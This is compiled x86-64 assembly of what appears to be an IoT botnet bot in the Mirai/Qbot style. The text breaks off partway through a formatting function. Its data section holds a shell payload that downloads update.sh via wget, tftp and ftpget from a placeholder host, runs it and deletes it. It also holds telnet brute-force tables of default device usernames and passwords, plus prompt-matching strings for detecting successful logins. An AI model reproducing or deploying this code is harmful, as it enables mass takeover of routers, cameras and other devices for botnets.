	.file	"367803.c"
	.intel_syntax noprefix
	.text
	.globl	rekdevice
	.section	.rodata
	.align 8
.LC0:
	.ascii	"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget "
	.ascii	"http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update"
	.ascii	".sh; tftp -r update.sh -g 0.0.0.0; busybox tftp -"
	.string	"r update.sh -g 0.0.0.0; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; chmod 777 update.sh; busybox chmod 777 update.sh; sh update.sh; rm -rf update.sh\r\n"
	.string	""
	.section	.data.rel.local,"aw"
	.align 8
	.type	rekdevice, @object
	.size	rekdevice, 8
rekdevice:
	.quad	.LC0
	.globl	usernames
	.section	.rodata
.LC1:
	.string	""
	.string	""
.LC2:
	.string	"root"
	.string	""
.LC3:
	.string	"admin"
	.string	""
.LC4:
	.string	"guest"
	.string	""
.LC5:
	.string	"default"
	.string	""
.LC6:
	.string	"user"
	.string	""
.LC7:
	.string	"daemon"
	.string	""
.LC8:
	.string	"adm"
	.string	""
.LC9:
	.string	"telnet"
	.string	""
.LC10:
	.string	"Administrator"
	.string	""
.LC11:
	.string	"mg3500"
	.string	""
.LC12:
	.string	"admin1"
	.string	""
.LC13:
	.string	"ubnt"
	.string	""
.LC14:
	.string	"support"
	.string	""
	.section	.data.rel.local
	.align 32
	.type	usernames, @object
	.size	usernames, 792
usernames:
	.quad	.LC1
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC4
	.quad	.LC4
	.quad	.LC4
	.quad	.LC4
	.quad	.LC4
	.quad	.LC4
	.quad	.LC4
	.quad	.LC2
	.quad	.LC3
	.quad	.LC2
	.quad	.LC5
	.quad	.LC6
	.quad	.LC4
	.quad	.LC7
	.quad	.LC3
	.quad	.LC3
	.quad	.LC2
	.quad	.LC3
	.quad	.LC8
	.quad	.LC4
	.quad	.LC2
	.quad	.LC2
	.quad	.LC9
	.quad	.LC2
	.quad	.LC3
	.quad	.LC3
	.quad	.LC10
	.quad	.LC2
	.quad	.LC11
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC5
	.quad	.LC3
	.quad	.LC3
	.quad	.LC3
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC2
	.quad	.LC12
	.quad	.LC13
	.quad	.LC14
	.quad	.LC2
	.quad	.LC6
	.quad	.LC4
	.globl	passwords
	.section	.rodata
.LC15:
	.string	"password"
	.string	""
.LC16:
	.string	"Zte521"
	.string	""
.LC17:
	.string	"vizxv"
	.string	""
.LC18:
	.string	"000000"
	.string	""
.LC19:
	.string	"14567"
	.string	""
.LC20:
	.string	"hi3518"
	.string	""
.LC21:
	.string	"pass"
	.string	""
.LC22:
	.string	"admin14"
	.string	""
.LC23:
	.string	"7ujMko0admin"
	.string	""
.LC24:
	.string	"00000000"
	.string	""
.LC25:
	.string	"<>"
	.string	""
.LC26:
	.string	"klv1"
	.string	""
.LC27:
	.string	"klv14"
	.string	""
.LC28:
	.string	"oelinux1"
	.string	""
.LC29:
	.string	"realtek"
	.string	""
.LC30:
	.string	"1111"
	.string	""
.LC31:
	.string	"54321"
	.string	""
.LC32:
	.string	"antslq"
	.string	""
.LC33:
	.string	"zte9x15"
	.string	""
.LC34:
	.string	"system"
	.string	""
.LC35:
	.string	"1456"
	.string	""
.LC36:
	.string	"888888"
	.string	""
.LC37:
	.string	"ikwb"
	.string	""
.LC38:
	.string	"juantech"
	.string	""
.LC39:
	.string	"xc3511"
	.string	""
.LC40:
	.string	"1111111"
	.string	""
.LC41:
	.string	"service"
	.string	""
.LC42:
	.string	"145"
	.string	""
.LC43:
	.string	"4321"
	.string	""
.LC44:
	.string	"tech"
	.string	""
.LC45:
	.string	"abc1"
	.string	""
.LC46:
	.string	"switch"
	.string	""
.LC47:
	.string	"meinsm"
	.string	""
.LC48:
	.string	"smcadmin"
	.string	""
.LC49:
	.string	"14567890"
	.string	""
.LC50:
	.string	"14"
	.string	""
.LC51:
	.string	"anko"
	.string	""
.LC52:
	.string	"merlin"
	.string	""
.LC53:
	.string	"zlxx."
	.string	""
	.section	.data.rel.local
	.align 32
	.type	passwords, @object
	.size	passwords, 784
passwords:
	.quad	.LC1
	.quad	.LC2
	.quad	.LC15
	.quad	.LC1
	.quad	.LC16
	.quad	.LC17
	.quad	.LC18
	.quad	.LC19
	.quad	.LC20
	.quad	.LC6
	.quad	.LC21
	.quad	.LC22
	.quad	.LC23
	.quad	.LC24
	.quad	.LC25
	.quad	.LC26
	.quad	.LC27
	.quad	.LC28
	.quad	.LC29
	.quad	.LC30
	.quad	.LC31
	.quad	.LC32
	.quad	.LC33
	.quad	.LC34
	.quad	.LC35
	.quad	.LC36
	.quad	.LC37
	.quad	.LC5
	.quad	.LC38
	.quad	.LC39
	.quad	.LC14
	.quad	.LC40
	.quad	.LC41
	.quad	.LC42
	.quad	.LC43
	.quad	.LC44
	.quad	.LC25
	.quad	.LC45
	.quad	.LC23
	.quad	.LC46
	.quad	.LC22
	.quad	.LC1
	.quad	.LC30
	.quad	.LC47
	.quad	.LC21
	.quad	.LC48
	.quad	.LC49
	.quad	.LC50
	.quad	.LC12
	.quad	.LC15
	.quad	.LC3
	.quad	.LC51
	.quad	.LC39
	.quad	.LC35
	.quad	.LC1
	.quad	.LC4
	.quad	.LC42
	.quad	.LC39
	.quad	.LC3
	.quad	.LC16
	.quad	.LC1
	.quad	.LC6
	.quad	.LC4
	.quad	.LC1
	.quad	.LC15
	.quad	.LC12
	.quad	.LC37
	.quad	.LC49
	.quad	.LC1
	.quad	.LC1
	.quad	.LC35
	.quad	.LC2
	.quad	.LC9
	.quad	.LC33
	.quad	.LC47
	.quad	.LC1
	.quad	.LC1
	.quad	.LC32
	.quad	.LC52
	.quad	.LC46
	.quad	.LC23
	.quad	.LC45
	.quad	.LC25
	.quad	.LC44
	.quad	.LC43
	.quad	.LC5
	.quad	.LC42
	.quad	.LC41
	.quad	.LC40
	.quad	.LC22
	.quad	.LC21
	.quad	.LC6
	.quad	.LC20
	.quad	.LC15
	.quad	.LC13
	.quad	.LC53
	.quad	.LC19
	.quad	.LC18
	.globl	advances
	.section	.rodata
.LC54:
	.string	":"
.LC55:
	.string	"ser"
.LC56:
	.string	"ogin"
.LC57:
	.string	"name"
.LC58:
	.string	"pass"
.LC59:
	.string	"dvrdvs"
	.section	.data.rel.local
	.align 32
	.type	advances, @object
	.size	advances, 56
advances:
	.quad	.LC54
	.quad	.LC55
	.quad	.LC56
	.quad	.LC57
	.quad	.LC58
	.quad	.LC59
	.quad	0
	.globl	fails
	.section	.rodata
.LC60:
	.string	"nvalid"
.LC61:
	.string	"ailed"
.LC62:
	.string	"ncorrect"
.LC63:
	.string	"enied"
.LC64:
	.string	"error"
.LC65:
	.string	"goodbye"
.LC66:
	.string	"bad"
.LC67:
	.string	"timeout"
	.section	.data.rel.local
	.align 32
	.type	fails, @object
	.size	fails, 72
fails:
	.quad	.LC60
	.quad	.LC61
	.quad	.LC62
	.quad	.LC63
	.quad	.LC64
	.quad	.LC65
	.quad	.LC66
	.quad	.LC67
	.quad	0
	.globl	successes
	.section	.rodata
.LC68:
	.string	"$"
.LC69:
	.string	"#"
.LC70:
	.string	">"
.LC71:
	.string	"@"
.LC72:
	.string	"shell"
.LC73:
	.string	"usybox"
	.section	.data.rel.local
	.align 32
	.type	successes, @object
	.size	successes, 64
successes:
	.quad	.LC68
	.quad	.LC69
	.quad	.LC70
	.quad	.LC71
	.quad	.LC72
	.quad	.LC59
	.quad	.LC73
	.quad	0
	.globl	advances2
	.section	.rodata
.LC74:
	.string	"rror"
.LC75:
	.string	"oodbye"
.LC76:
	.string	"busybox"
	.section	.data.rel.local
	.align 32
	.type	advances2, @object
	.size	advances2, 96
advances2:
	.quad	.LC54
	.quad	.LC60
	.quad	.LC61
	.quad	.LC62
	.quad	.LC63
	.quad	.LC74
	.quad	.LC75
	.quad	.LC66
	.quad	.LC76
	.quad	.LC68
	.quad	.LC69
	.quad	0
	.globl	legit
	.section	.rodata
.LC77:
	.string	"AK47"
	.section	.data.rel.local
	.align 16
	.type	legit, @object
	.size	legit, 16
legit:
	.quad	.LC77
	.quad	0
	.globl	infected
	.section	.rodata
.LC78:
	.string	"CAPSAICIN"
	.section	.data.rel.local
	.align 16
	.type	infected, @object
	.size	infected, 16
infected:
	.quad	.LC78
	.quad	0
	.globl	scanPid
	.bss
	.align 4
	.type	scanPid, @object
	.size	scanPid, 4
scanPid:
	.zero	4
	.local	Q
	.comm	Q,16384,32
	.data
	.align 4
	.type	c, @object
	.size	c, 4
c:
	.long	362436
	.text
	.globl	init_rand
	.type	init_rand, @function
init_rand:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	DWORD PTR -20[rbp], edi
	mov	eax, DWORD PTR -20[rbp]
	mov	DWORD PTR Q[rip], eax
	mov	eax, DWORD PTR -20[rbp]
	sub	eax, 1640531527
	mov	DWORD PTR Q[rip+4], eax
	mov	eax, DWORD PTR -20[rbp]
	add	eax, 1013904242
	mov	DWORD PTR Q[rip+8], eax
	mov	DWORD PTR -4[rbp], 3
	jmp	.L2
.L3:
	mov	eax, DWORD PTR -4[rbp]
	sub	eax, 3
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	ecx, DWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -4[rbp]
	sub	eax, 2
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	eax, DWORD PTR [rdx+rax]
	xor	ecx, eax
	mov	edx, ecx
	mov	eax, DWORD PTR -4[rbp]
	xor	eax, edx
	xor	eax, -1640531527
	mov	ecx, eax
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	DWORD PTR [rdx+rax], ecx
	add	DWORD PTR -4[rbp], 1
.L2:
	cmp	DWORD PTR -4[rbp], 4095
	jle	.L3
	nop
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	init_rand, .-init_rand
	.globl	rand_cmwc
	.type	rand_cmwc, @function
rand_cmwc:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -16[rbp], 18782
	mov	DWORD PTR -20[rbp], -2
	mov	eax, DWORD PTR i.0[rip]
	add	eax, 1
	and	eax, 4095
	mov	DWORD PTR i.0[rip], eax
	mov	eax, DWORD PTR i.0[rip]
	mov	eax, eax
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	eax, DWORD PTR [rdx+rax]
	mov	eax, eax
	imul	rax, QWORD PTR -16[rbp]
	mov	edx, DWORD PTR c[rip]
	mov	edx, edx
	add	rax, rdx
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	shr	rax, 32
	mov	DWORD PTR c[rip], eax
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR c[rip]
	add	eax, edx
	mov	DWORD PTR -24[rbp], eax
	mov	eax, DWORD PTR c[rip]
	cmp	DWORD PTR -24[rbp], eax
	jnb	.L5
	add	DWORD PTR -24[rbp], 1
	mov	eax, DWORD PTR c[rip]
	add	eax, 1
	mov	DWORD PTR c[rip], eax
.L5:
	mov	esi, DWORD PTR i.0[rip]
	mov	eax, DWORD PTR -20[rbp]
	sub	eax, DWORD PTR -24[rbp]
	mov	edx, esi
	lea	rcx, 0[0+rdx*4]
	lea	rdx, Q[rip]
	mov	DWORD PTR [rcx+rdx], eax
	mov	eax, esi
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	eax, DWORD PTR [rdx+rax]
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	rand_cmwc, .-rand_cmwc
	.type	printchar, @function
printchar:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	DWORD PTR -12[rbp], esi
	cmp	QWORD PTR -8[rbp], 0
	je	.L8
	mov	edx, DWORD PTR -12[rbp]
	mov	rax, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR [rax]
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rdx, 1[rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR [rax], rdx
	jmp	.L10
.L8:
	lea	rax, -12[rbp]
	mov	edx, 1
	mov	rsi, rax
	mov	edi, 1
	call	write@PLT
.L10:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	printchar, .-printchar
	.type	prints, @function
prints:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 32
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	.cfi_offset 3, -48
	mov	QWORD PTR -40[rbp], rdi
	mov	QWORD PTR -48[rbp], rsi
	mov	DWORD PTR -52[rbp], edx
	mov	DWORD PTR -56[rbp], ecx
	mov	ebx, 0
	mov	r14d, 32
	cmp	DWORD PTR -52[rbp], 0
	jle	.L12
	mov	r12d, 0
	mov	r13, QWORD PTR -48[rbp]
	jmp	.L13
.L14:
	add	r12d, 1
	add	r13, 1
.L13:
	movzx	eax, BYTE PTR 0[r13]
	test	al, al
	jne	.L14
	cmp	r12d, DWORD PTR -52[rbp]
	jl	.L15
	mov	DWORD PTR -52[rbp], 0
	jmp	.L16
.L15:
	sub	DWORD PTR -52[rbp], r12d
.L16:
	mov	eax, DWORD PTR -56[rbp]
	and	eax, 2
	test	eax, eax
	je	.L12
	mov	r14d, 48
.L12:
	mov	eax, DWORD PTR -56[rbp]
	and	eax, 1
	test	eax, eax
	jne	.L20
	jmp	.L18
.L19:
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, r14d
	mov	rdi, rax
	call	printchar
	add	ebx, 1
	sub	DWORD PTR -52[rbp], 1
.L18:
	cmp	DWORD PTR -52[rbp], 0
	jg	.L19
	jmp	.L20
.L21:
	mov	rax, QWORD PTR -48[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	edx, al
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	printchar
	add	ebx, 1
	add	QWORD PTR -48[rbp], 1
.L20:
	mov	rax, QWORD PTR -48[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L21
	jmp	.L22
.L23:
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, r14d
	mov	rdi, rax
	call	printchar
	add	ebx, 1
	sub	DWORD PTR -52[rbp], 1
.L22:
	cmp	DWORD PTR -52[rbp], 0
	jg	.L23
	mov	eax, ebx
	add	rsp, 32
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	prints, .-prints
	.type	printi, @function
printi:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 72
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	QWORD PTR -88[rbp], rdi
	mov	DWORD PTR -92[rbp], esi
	mov	DWORD PTR -96[rbp], edx
	mov	DWORD PTR -100[rbp], ecx
	mov	DWORD PTR -104[rbp], r8d
	mov	DWORD PTR -108[rbp], r9d
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	r15d, 0
	mov	r14d, 0
	mov	r12d, DWORD PTR -92[rbp]
	cmp	DWORD PTR -92[rbp], 0
	jne	.L26
	mov	BYTE PTR -68[rbp], 48
	mov	BYTE PTR -67[rbp], 0
	mov	ecx, DWORD PTR -108[rbp]
	mov	edx, DWORD PTR -104[rbp]
	lea	rsi, -68[rbp]
	mov	rax, QWORD PTR -88[rbp]
	mov	rdi, rax
	call	prints
	jmp	.L34
.L26:
	cmp	DWORD PTR -100[rbp], 0
	je	.L28
	cmp	DWORD PTR -96[rbp], 10
	jne	.L28
	cmp	DWORD PTR -92[rbp], 0
	jns	.L28
	mov	r15d, 1
	mov	eax, DWORD PTR -92[rbp]
	neg	eax
	mov	r12d, eax
.L28:
	lea	rbx, -68[rbp]
	add	rbx, 11
	mov	BYTE PTR [rbx], 0
	jmp	.L29
.L31:
	mov	ecx, DWORD PTR -96[rbp]
	mov	eax, r12d
	mov	edx, 0
	div	ecx
	mov	eax, edx
	mov	r13d, eax
	cmp	r13d, 9
	jle	.L30
	mov	eax, DWORD PTR 16[rbp]
	sub	eax, 58
	add	r13d, eax
.L30:
	mov	eax, r13d
	sub	rbx, 1
	add	eax, 48
	mov	BYTE PTR [rbx], al
	mov	edi, DWORD PTR -96[rbp]
	mov	eax, r12d
	mov	edx, 0
	div	edi
	mov	r12d, eax
.L29:
	test	r12d, r12d
	jne	.L31
	test	r15d, r15d
	je	.L32
	cmp	DWORD PTR -104[rbp], 0
	je	.L33
	mov	eax, DWORD PTR -108[rbp]
	and	eax, 2
	test	eax, eax
	je	.L33
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, 45
	mov	rdi, rax
	call	printchar
	add	r14d, 1
	sub	DWORD PTR -104[rbp], 1
	jmp	.L32
.L33:
	sub	rbx, 1
	mov	BYTE PTR [rbx], 45
.L32:
	mov	ecx, DWORD PTR -108[rbp]
	mov	edx, DWORD PTR -104[rbp]
	mov	rax, QWORD PTR -88[rbp]
	mov	rsi, rbx
	mov	rdi, rax
	call	prints
	add	eax, r14d
.L34:
	mov	rdi, QWORD PTR -56[rbp]
	sub	rdi, QWORD PTR fs:40
	je	.L35
	call	__stack_chk_fail@PLT
.L35:
	add	rsp, 72
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	printi, .-printi
	.section	.rodata
.LC79:
	.string	"(null)"
	.text
	.type	print, @function
print:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 48
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	.cfi_offset 3, -48
	mov	QWORD PTR -56[rbp], rdi
	mov	QWORD PTR -64[rbp], rsi
	mov	QWORD PTR -72[rbp], rdx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -40[rbp], rax
	xor	eax, eax
	mov	ebx, 0
	jmp	.L37
.L68:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 37
	jne	.L72
	add	QWORD PTR -64[rbp], 1
	mov	r12d, 0
	mov	r13d, r12d
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	je	.L73
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 37
	je	.L74
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 45
	jne	.L43
	add	QWORD PTR -64[rbp], 1
	mov	r12d, 1
	jmp	.L43
.L44:
	add	QWORD PTR -64[rbp], 1
	or	r12d, 2
.L43:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 48
	je	.L44
	jmp	.L45
.L47:
	mov	eax, r13d
	sal	eax, 2
	add	eax, r13d
	add	eax, eax
	mov	r13d, eax
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	sub	eax, 48
	add	r13d, eax
	add	QWORD PTR -64[rbp], 1
.L45:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 47
	jbe	.L46
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 57
	jbe	.L47
.L46:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 115
	jne	.L48
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L49
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L50
.L49:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L50:
	mov	eax, DWORD PTR [rax]
	cdqe
	mov	r14, rax
	test	r14, r14
	je	.L51
	mov	rsi, r14
	jmp	.L52
.L51:
	lea	rsi, .LC79[rip]
.L52:
	mov	rax, QWORD PTR -56[rbp]
	mov	ecx, r12d
	mov	edx, r13d
	mov	rdi, rax
	call	prints
	add	ebx, eax
	jmp	.L53
.L48:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 100
	jne	.L54
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L55
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L56
.L55:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L56:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	97
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 1
	mov	edx, 10
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L53
.L54:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 120
	jne	.L57
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L58
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L59
.L58:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L59:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	97
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 0
	mov	edx, 16
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L53
.L57:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 88
	jne	.L60
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L61
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L62
.L61:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L62:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	65
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 0
	mov	edx, 16
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L53
.L60:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 117
	jne	.L63
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L64
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L65
.L64:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L65:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	97
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 0
	mov	edx, 10
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L53
.L63:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 99
	jne	.L53
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L66
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L67
.L66:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L67:
	mov	eax, DWORD PTR [rax]
	mov	BYTE PTR -42[rbp], al
	mov	BYTE PTR -41[rbp], 0
	lea	rsi, -42[rbp]
	mov	rax, QWORD PTR -56[rbp]
	mov	ecx, r12d
	mov	edx, r13d
	mov	rdi, rax
	call	prints
	add	ebx, eax
	jmp	.L53
.L72:
	nop
	jmp	.L38
.L74:
	nop
.L38:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	edx, al
	mov	rax, QWORD PTR -56[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	printchar
	add	ebx, 1
.L53:
	add	QWORD PTR -64[rbp], 1
.L37:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L68
	jmp	.L40
.L73:
	nop
.L40:
	cmp	QWORD PTR -56[rbp], 0
	je	.L69
